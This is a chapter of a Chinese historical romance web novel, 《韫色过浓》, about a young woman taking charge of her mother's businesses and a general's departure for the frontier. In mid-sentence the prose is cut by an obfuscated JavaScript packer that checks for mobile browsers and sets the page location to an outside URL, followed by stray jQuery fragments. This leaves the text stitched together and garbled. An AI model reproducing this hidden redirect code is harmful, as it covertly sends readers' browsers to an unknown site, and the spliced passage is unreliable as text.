25. 第 25 章

作品:《韫色过浓

    一成净利?


    她是不知道两成净利有多少?还是胸有沟壑?


    她知不知道,这一成一旦落地,足以让无数人眼红发狂,足以在看似平静的商海掀起滔天的暗涌,她清澈的目光里,只有一片澄澈的笃定,仿佛在说一件再自然不过的事。


    他不是没经过风浪的。少时家道中落,又屡试不第,最后不得已辗转商海,见过一掷千金的豪客,也领教过锱铢必较的东家。后来追随霍抉,出入北境生死场,更知银钱背后往往沾着血的味道。


    沈知节缓缓直起身。


    抬眼的瞬间,他收敛了所有外泄的情绪,依旧是那副沉稳持重的模样。只是眼底最深处,有什么东西被彻底点燃了,幽暗而灼热。


    这看似柔静如秋水的少女,正在下一盘他前所未见的棋。而他,已被她亲手拈起,放在了棋枰最要害的位置。


    “沈某,”他再次开口,声音比方才更低,也更沉,每一个字都像在心底锤炼过,“定不负所托。”


    这是他沈知节,对一个十四岁少女,许下的最重的承诺。


    姚知韫看着他,轻轻点点头,目光相遇的刹那,无形的契约,于这秋日午后的书房,落笔成章。


    “当然,我会与沈先生签订一份契约,归云楼其余人的契约,便由你主理。但我有两件事,须得办妥,”


    她身躯微微向前倾,午后的日光透过菱花窗格,在她肩头洒下细碎的光斑,


    “其一:我母亲名下所有产业,须与苏家彻底析清。其间或有损耗,不必计较,唯求干净——须完完整整、清清楚楚,全数归入归云楼。”


    她说得轻缓,字字却如断玉。她要斩断的不仅是账目上的勾连,更是与苏家那层剪不断理还乱的血脉纠葛。一个干干净净的归云楼,才能是她姚知韫自己的立足之地。


    “其二,”她目光清凌凌地落在沈知节面上,“用人一事,我只看能否干活。愿意踏实做事的,留下;偷奸耍滑、心术不正的,一律不用。归云楼不养闲人,更不养蛀虫。”


    言至此,她语气稍缓:


    “至于霍将军托付的那些产业,原本便是沈先生经手,往后依旧由你全权打理。若需添置人手、调整章程,你可自决,不必事事回我。”


    沈知节静立聆听,背脊挺直如竹。


    他听懂了。这不仅是交代,更是放权。她要的是一个能独当一面的“沈先生”,而不是亦步亦趋的账房。


    “姑娘放心。”他拱手,言辞简扼,却字字千钧,“苏家之事,沈某会处理干净。用人章程,亦当从严。”


    姚知韫颔首,不再多言。


    书房内重新静了下来,只余窗外秋风拂过竹梢的簌簌轻响。那声音悠长而寂寥,仿佛预示着某个时代的终结,与另一个时代的开端。


    沈知节退后两步,转身欲离。


    “沈先生。”姚知韫忽然唤住他。


    他驻足回身。


    “谢谢!”


    沈知节深深一揖,而后转身,轻轻掩上了书房的门。


    脚步声渐远。


    姚知韫独坐案前,望着杯中沉浮的茶叶,许久未动。


    从这一刻起,归云楼不再只是一个名字,而是一柄即将出鞘的刀。


    她得为以后,留一条路。


    霍抉依旧忙碌,三五日方回府一趟,有时是深夜悄至,有时是午间歇马。见面总是匆匆,说不上几句话。


    姚知韫从书房出来,却在前厅看见了负手而立的霍抉,他正望着院中凋零的秋色出神,听见脚步声,他转过身来。


    今日他依旧穿着玄色常服,腰间束着革带,显得身姿挺拔,只是眉眼间带着几分疲色,眼下有淡淡的青影。


    “将军,”姚知韫福身行礼。


    霍抉上前一步虚扶一把,目光在她脸上停驻片刻,“清减了些。”


    姚知韫垂眸,并未接话。


    霍抉走到桌边,从怀中取出一只锦囊,放在桌上。


    “打开看看。”


    姚知韫依言解开锦囊,倒出里面的东西,是几颗种子,黑褐色,不起眼。


    “墨菊的种子,”霍抉声音有些紧,透着隐隐的拘谨,“我从一位老花匠手里弄来的,比英国公府那株颜色更深,花期也长,他那里有暖房,种很多花,你要是喜欢,我把他请来也给你建一个。”


    姚知韫指尖轻捻那几颗种子,心底掠过一丝异样,没成想他竟然还记得。


    “谢谢,我喜欢自己种,”她将种子小心收回锦囊,“明年春日种下,秋日应当能见花”


    霍抉“嗯”了一声,目光仍落在她的脸上,似有什么话要说,却又迟疑。


    姚知韫抬眸看他,“将军今日回府,可是有事?”


    霍抉沉默片刻,才缓缓开口,“我要离京一趟。”


    “哦,”姚知韫淡淡的应着,并未询问要去哪里。


    “梓州军情有变,东琅似有异动,陛下命我巡查防务,若情势紧急——或需暂驻些时日。”


    姚知韫心头微紧,东琅一直虎视眈眈,梓州防线更是关乎京城安危。


    “要去多久?”她问。


    “少则一月,多则......”霍抉突然定住,却没有归期。


    厅中又静下来,窗外有鸟雀扑棱棱飞过,惊起几片枯叶,在空中打了几个旋,最终落进泥土里。


    “何时动身?”姚知韫听见自己的声音平静如常。


    “三日后卯时。”霍抉看着她,“我不在时,府中诸事,你尽可做主。若有难处,可寻沈知节。若遇急事......”


    他从怀中取出一枚铜符,递到她手中。


    铜符入手微沉,上刻虎头纹样狰狞盘踞,背后深深刻着“霍”字,笔画刚劲,似蕴着千钧之力。


    “持此符,可调我留在京中的亲卫。”霍抉的声音压得很低,话未尽,只是深深看了她一眼。


    那一眼里,翻涌着太多姚知韫看不懂的东西——关切、担忧、不舍,或许还有一种近乎偏执的爱恋。


    姚知韫将铜符仔细收好,指尖触到那冰冷的纹路,心却莫名跳快了一拍,她垂下眼。


    “将军......用过饭了吗?”


    话一出口,她脸颊微微微烫,心下懊恼,这都什么时辰了,怎么问这个?


    霍抉却异常认真地看向她,眸中墨色深敛,“饿了。”


    姚知韫怔了怔,抬眼撞进他专注的视线里,沉默一瞬,她轻声道,“那——我给你煮碗面?”


    “好,”


    霍抉应的很快,仿佛怕她反悔般,心口某处,被什么东西轻轻抓了一下,她问他饿不饿,他喉间发紧,却又泛起一丝隐秘的欢喜。


    姚知韫转身


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168148|195694||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    出了前厅,裙裾拂过门槛,悄无声息地没入厨房的暗影里。


    灶火很快亮起,温暖的光晕染开一片。她挽起袖子,舀水、和面、切菜,动作熟稔而安静。不多时,一碗热气腾腾的打卤面便端了出来,肉卤油亮,面丝匀细,上面还撒着一把碧绿的葱花。


    霍抉接过碗,什么也没说,只埋头大口吃起来。吞咽声在寂静的厅堂里格外清晰,他吃得极快,却并不显粗鲁,倒像在战场上抢时辰用饭般,认真而专注。


    仿佛从未吃过这般滋味的食物。


    一碗面很快见了底,连汤也喝得干净。他放下碗,两人之间又陷入那种熟悉的、却不显尴尬的沉默里。


    “我不在时,”霍抉忽然开口,声音沉而稳,“若霍家有人来寻,不必理会。一切……等我回来再说。”


    “好。”姚知韫应得干脆,甚至没有问一句缘由。


    霍抉看着她沉静的侧脸,喉结几不可察地滚动了一下。


    “韫儿。”他忽然唤她,声音里有种罕见的柔软,却又郑重如立誓,“等我回来。”


    言罢,他不再停留,转身大步走向厅外。玄色衣袍在穿堂而过的秋风里扬起利落的弧度,很快消失在回廊尽头的暮色中。


    姚知韫独自立在渐渐暗下的厅堂里。


    手中那只锦囊硌着掌心,微微的疼。里面那几颗墨菊的种子,安静地蜷缩着,像某个未及言明、却已悄然种下的约定。


    窗外,最后一缕夕光沉入西山。


    三日后,天尚未亮透,霍抉离京。


    姚知韫没有去送,却早早起身,立在院中那株老槐树下,晨雾未散,空气中弥漫着深秋的寒意,她裹紧身上的披风,望着灰白的天际,站了很久。


    她似乎,应过霍抉一件衣衫。


    “嬷嬷,”她轻声唤道。


    常嬷嬷不知何时已静候身后,闻声上前半步,“姑娘”


    “选块布料给将军做件衣衫吧!”


    常嬷嬷微微一顿,抬眼细细看向姚知韫沉静的侧脸,随即垂下眼帘,声音温缓而笃定:“是,姑娘。”


    霍抉离京后,沈知节也愈发忙碌,常常数日不见人影,姚知韫索性闭门谢客,日子过得简单起来,每日看书、习字、侍弄花草,再便是跟着常嬷嬷学针黹。


    她学得极认真,从量体、裁版到飞针走线,一样样慢慢琢磨。常嬷嬷偶有惊叹,姑娘手上功夫虽生,眼力与耐心却出奇的好,尤其是对尺寸与比例的把握,竟似天生带一把无形的尺。


    如此又过了半月。


    京城下了入冬后的第一场雪。


    雪不大,细细碎碎的,像是谁在天上撒了一把盐,沾着屋瓦、枯枝、石阶,很快便化了,只留下片片深色的湿痕,像谁用淡墨在天地间不经意点染了几笔。


    姚知韫坐在暖阁里,手里捧着一卷《大晋地理志》,目光却落在窗外那场疏淡的雪上,半晌未翻一页。


    常嬷嬷端着一盏茶进来,见她出神,轻声劝导,“姑娘看了半晌的书,歇歇眼睛吧!”


    姚知韫回神,接过青瓷盏,暖意透过釉壁熨帖着掌心。她抿了一口,忽然道:“再给下头人添做些厚实冬衣罢。今年……似乎冷得早,莫要冻着了。”


    常嬷嬷应了声“是”,目光在她清淡的眉目间停留一瞬,似有话想说,终是无声敛衽,静静退了出去。